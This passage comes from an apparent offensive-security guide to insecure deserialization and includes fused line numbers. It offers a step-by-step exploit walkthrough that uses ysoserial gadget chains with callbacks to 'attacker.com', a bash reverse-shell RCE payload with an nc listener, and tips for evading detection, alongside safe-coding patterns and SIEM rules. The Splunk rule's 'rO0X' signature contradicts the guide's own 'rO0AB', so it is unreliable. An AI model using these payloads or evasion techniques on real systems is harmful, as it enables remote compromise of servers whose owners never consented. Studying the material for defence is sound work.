`readObject()`, `__wakeup()`, or equivalent that delegate to property-controlled methods2633. **Sink identification**: Find classes that execute commands, write files, or load code2644. **Chain construction**: Map a path from source to sink through available intermediate classes2655. **Payload generation**: Construct the serialized object graph that instantiates the chain266267### Common Chain Patterns268269| Pattern | Description | Example |270|---------|-------------|---------|271| Transformer chain | ChainedTransformer applies a series of function calls | CommonsCollections 1-7 |272| Template injection | Loads bytecode via ClassLoader from TemplatesImpl | CommonsCollections2, CommonsCollections4 |273| JNDI redirect | Deserialized object triggers remote class loading via JNDI | JRMPClient, Jdk7u21 |274| Property delegation | Object properties trigger method calls on nested objects | Spring1, Hibernate1 |275| Magic method chain | __wakeup/__destruct calls method on property that triggers next gadget | Laravel RCE chains |276| Delegate invocation | MulticastDelegate or EventHandler redirects method calls | TypeConfuseDelegate, ObjectDataProvider |277278## Deserialization Detection Techniques279280Detecting deserialization vulnerabilities in black-box and gray-box testing requires a systematic approach combining fingerprinting, probing, and confirmation.281282### Passive Fingerprinting283284Identify serialization formats in HTTP traffic without actively sending payloads:2852861. **Java**: Look for Base64 strings starting with `rO0AB` in cookies, headers, or POST parameters. The raw hex `AC ED 00 05` is the Java serialization magic header.2872882. **PHP**: Look for strings matching the pattern `O:<digits>:"<classname>":<count>:{...}` or `a:<count>:{...}` in cookies and parameters.2892903. **.NET**: Look for Base64 strings starting with `/wE` (ViewState) or `AAQAA` (BinaryFormatter) in `__VIEWSTATE` hidden fields.2912924. **Python**: Look for Base64 strings that decode to bytes starting with `\x80\x04` or `\x80\x05` (pickle protocol 4/5) in session cookies.2932945. **Ruby**: Look for Base64 strings that decode to bytes starting with `\x04\x08` (Marshal format) in Rails session cookies.295296### Active Probing297298Inject benign payloads to confirm deserialization is occurring:299300```bash301# Java: Inject minimal serialized object and watch for ClassNotFoundException302echo "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==" | base64 -d | \303 python3 -c "import sys; data=sys.stdin.buffer.read(); data=data.replace(b'HashMap',b'AAAAAAA'); import base64; print(base64.b64encode(data).decode())"304305# PHP: Inject invalid class and look for error messages306curl -s http://target/ -b "data=O:1:\"X\":0:{}" | grep -i "class.*not found\|unserialize"307308# .NET: Inject invalid ViewState and observe error309curl -s http://target/default.aspx -d "__VIEWSTATE=INVALID_DATA" | grep -i "viewstate\|validation"310311# Python: Inject pickle with invalid class reference312python3 -c "import pickle,base64;print(base64.b64encode(pickle.dumps('test')).decode())"313```314315### Confirmation via OOB Callbacks316317Once deserialization is confirmed, verify code execution through out-of-band callbacks:3183191. **DNS callback**: Generate payload with `nslookup <unique>.callback.domain` -- works even with restrictive firewalls3202. **HTTP callback**: Generate payload with `curl http://callback.domain/<unique>` -- confirms full network access3213. **Time delay**: Generate payload with `sleep 5` or `ping -n 6 127.0.0.1` -- works when no outbound network is allowed3224. **File system artifact**: Generate payload with `touch /tmp/<unique>` -- confirms execution when OOB is impossible323324## Safe Deserialization Patterns325326Understanding safe deserialization patterns is essential for both validating that mitigations are in place and for building test environments. Each platform provides mechanisms to restrict deserialization.327328### Java Safe Patterns329330```java331// Pattern 1: ObjectInputFilter (Java 9+)332ObjectInputStream ois = new ObjectInputStream(input);333ois.setObjectInputFilter(filterInfo -> {334 Class<?> clazz = filterInfo.serialClass();335 if (clazz == null) return ObjectInputFilter.Status.ALLOWED;336 return ALLOWED_CLASSES.contains(clazz.getName())337 ? ObjectInputFilter.Status.ALLOWED338 : ObjectInputFilter.Status.REJECTED;339});340341// Pattern 2: Override resolveClass with whitelist342class SafeObjectInputStream extends ObjectInputStream {343 protected Class<?> resolveClass(ObjectStreamClass desc) {344 if (!ALLOWED_CLASSES.contains(desc.getName()))345 throw new InvalidClassException("Unauthorized deserialization", desc.getName());346 return super.resolveClass(desc);347 }348}349350// Pattern 3: Replace with JSON serialization351ObjectMapper mapper = new ObjectMapper();352MyDTO dto = mapper.readValue(json, MyDTO.class); // Type-safe, no gadget chains353```354355### PHP Safe Patterns356357```php358// Pattern 1: Whitelist allowed classes359$data = unserialize($input, ['allowed_classes' => ['SafeClass1', 'SafeClass2']]);360361// Pattern 2: Replace with JSON362$data = json_decode($input, true); // No object instantiation363364// Pattern 3: Disable phar wrapper365// php.ini: phar.readonly = On366```367368### .NET Safe Patterns369370```xml371<!-- Pattern 1: Enforce ViewState MAC -->372<system.web>373 <pages enableViewStateMac="true" viewStateEncryptionMode="Always" />374 <machineKey validationKey="AUTO_GENERATED" decryptionKey="AUTO_GENERATED" />375</system.web>376377<!-- Pattern 2: Disable BinaryFormatter -->378<!-- ASP.NET Core: BinaryFormatter is obsolete and removed -->379```380381### Python Safe Patterns382383```python384# Pattern 1: RestrictedUnpickler385import pickle386class SafeUnpickler(pickle.Unpickler):387 ALLOWED = {'builtins': {'dict', 'list', 'set', 'tuple', 'str', 'int', 'float'}}388 def find_class(self, module, name):389 if module in self.ALLOWED and name in self.ALLOWED[module]:390 return super().find_class(module, name)391 raise pickle.UnpicklingError(f"Blocked: {module}.{name}")392393# Pattern 2: Use JSON instead394import json395data = json.loads(input_string) # Safe, no code execution396397# Pattern 3: Use YAML safe_load398import yaml399data = yaml.safe_load(input_string) # Only basic types400```401402## Exploit Chain Building403404Building exploit chains for deserialization vulnerabilities requires combining multiple techniques into a reliable attack path. This section describes the end-to-end process.405406### Step 1: Reconnaissance407408Identify the technology stack, serialization format, and input vectors:409410```bash411# Identify web framework and language from HTTP headers412curl -sI http://target/ | grep -iE "server|x-powered-by|x-aspnet|set-cookie"413414# Identify serialization format from cookie values415curl -sI http://target/ -v 2>&1 | grep -i "set-cookie" | grep -oE "[A-Za-z0-9+/=]{20,}"416417# Check for common deserialization endpoints418curl -s http://target/invoker/JMXInvokerServlet -o /dev/null -w '%{http_code}'419curl -s http://target/wls-wsat/CoordinatorPortType -o /dev/null -w '%{http_code}'420curl -s http://target/api -X POST -H "Content-Type: application/x-java-serialized-object" -d "test" -w '%{http_code}'421```422423### Step 2: Format Identification424425Determine the exact serialization format from captured data:426427```bash428# Decode and inspect suspected serialized data429echo "SUSPECT_BASE64" | base64 -d | xxd | head -5430# Java: ac ed 00 05431# .NET: 00 01 00 00 00432# Python: 80 04 or 80 05433434# Extract readable strings to identify class names435echo "SUSPECT_BASE64" | base64 -d | strings | head -20436```437438### Step 3: Chain Selection and Testing439440Select appropriate gadget chains based on the identified format and library fingerprinting:441442```bash443# Test multiple chains in parallel with unique callbacks444for chain in CommonsCollections5 CommonsCollections6 CommonsCollections7 Spring1 Hibernate1; do445 payload=$(java -jar ysoserial.jar $chain "nslookup ${chain}.attacker.com" 2>/dev/null | base64 -w0)446 curl -s -o /dev/null -w "${chain}: %{http_code} (%{time_total}s)\n" \447 -H "Cookie: data=${payload}" http://target/api448done449```450451### Step 4: Payload Delivery and Execution452453Deliver the working payload through the identified input vector and confirm execution:454455```bash456# Generate final RCE payload457java -jar ysoserial.jar CommonsCollections6 'bash -c {echo,BASE64_REVERSE_SHELL}|{base64,-d}|bash' | base64 -w0458459# Deliver via identified vector460curl -s http://target/api -H "Cookie: session=FINAL_PAYLOAD" &461nc -lvnp 4444 # Catch reverse shell462```463## Detection Methods464465### Deserialization Vulnerability Detection466- **Payload signatures**: Java serialized magic bytes `rO0X` (Base64 of 0xAC ED 00 05); PHP serialized `O:N:"..."`.467- ** gadget chain detection**: `InvokerTransformer`, `AnnotationInvocationHandler` in deserialized data.468- **Anomalous object types**: Unexpected class names in serialized stream.469470### SIEM Detection Rules471- **Splunk SPL**: `index=web | regex body="rO0X|O:\d+:|\"\$class\""`472- **ModSecurity CRS**: Rules for deserialization payload signatures.473- **RASP (Runtime Application Self-Protection)**: Native deserialization validation.474475## Defense Evasion Techniques476477### Payload Obfuscation478- **Encoding tricks**: Base64 / hex / Gzip the serialized payload.479- **Custom serializers**: Some apps use custom serializers; format may not match standard signatures.480- **Polymorphic gadgets**: Use less-known gadgets not in detection rules.481482### Detection Bypass483- **Slow payload delivery**: Split payload across multiple requests; below threshold.484- **Use binary protocol**: Hessian, Kryo, Protocol Buffers; less signature coverage than Java serialization.485- **JSON deserialization abuse**: Jackson, GSON, fastjson vulnerabilities; different signatures than binary.486